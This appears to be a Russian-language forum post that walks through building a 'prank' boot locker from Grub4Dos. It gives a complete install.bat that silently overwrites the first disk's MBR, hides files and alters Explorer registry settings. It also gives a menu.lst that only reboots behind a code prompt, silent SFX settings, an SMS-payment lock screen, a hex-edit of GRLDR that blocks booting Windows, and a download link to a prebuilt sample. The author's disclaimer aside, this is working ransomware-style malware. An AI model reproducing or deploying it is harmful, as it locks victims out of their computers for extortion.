В общем так. Пришла мне на днях идея – как из доброго дела сделать небольшой розыгрыш. Вот смотрите, у нас есть супер загрузчик Grub4Dos. Чтобы установить его на флешку, мы проделываем определенные действия: копирование файлов на флешку, создание menu.lst, добавление gfxboot темы, прописывание загрузчика в mbr. Так вот, все эти действия можно автоматизировать. И автоматизировать их по-своему. И сделать установку Grub4Dos из 1 файла *.exe. При этом, этот файл будет прописывать загрузчик Grub4Dos на первый жесткий диск, ставить gfxboot тему с контентом, требующим отправки смс.
Хватит теории. Описываю действия. Типа "вирус" работает по принципу блокера винды.
Создаем папку, копируем на нее файлы:
menu.lst
GRLDR
logo - gfxboot тема
install.bat - в дальнейшем переделанный в install.exe
grubinst.exe - утилита для установки Grub4Dos.
Содержимое install.bat
Code
echo off
grubinst.exe (hd0)
attrib +h GRLDR
attrib +h MENU.LST
attrib +h logo
attrib +h grubinst.exe
attrib +h install.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
exit
В menu.lst прописываем следующее:
Code
gfxmenu /logo
title Ввести код
reboot
Все эти файлы пакуем винраром, в sfx архив. В комментарий архива добавляем следующее:
Code
path=C:\
silent=1
overwrite=1
setup=install.exe
Теперь пакуем архив. Открываем его на виртуальной машине и видим веселую картину. Grub4Dos без вашего ведома прописался на диск C и при этом поставил gfxboot тему.
Да, намного проще 1 раз это проверить! Скачайте и запустите мою сборку этой штуки на виртуальной машине. И удивитесь! Вот ссылка http://depositfiles.com/files/u53x5tyt8
PS.
Вы можете сказать, а в чем подвох? Я ведь знаю, как из граба запустить винду!
Ан нет. Если файл GRLDR немножечко подправить Hex редактором, то стартануть винду при помощи chainloader уже не получится.
Нет, я не агитирую создавать вирусы. Просто рассматриваю вариант хитрого использования Grub4Dos.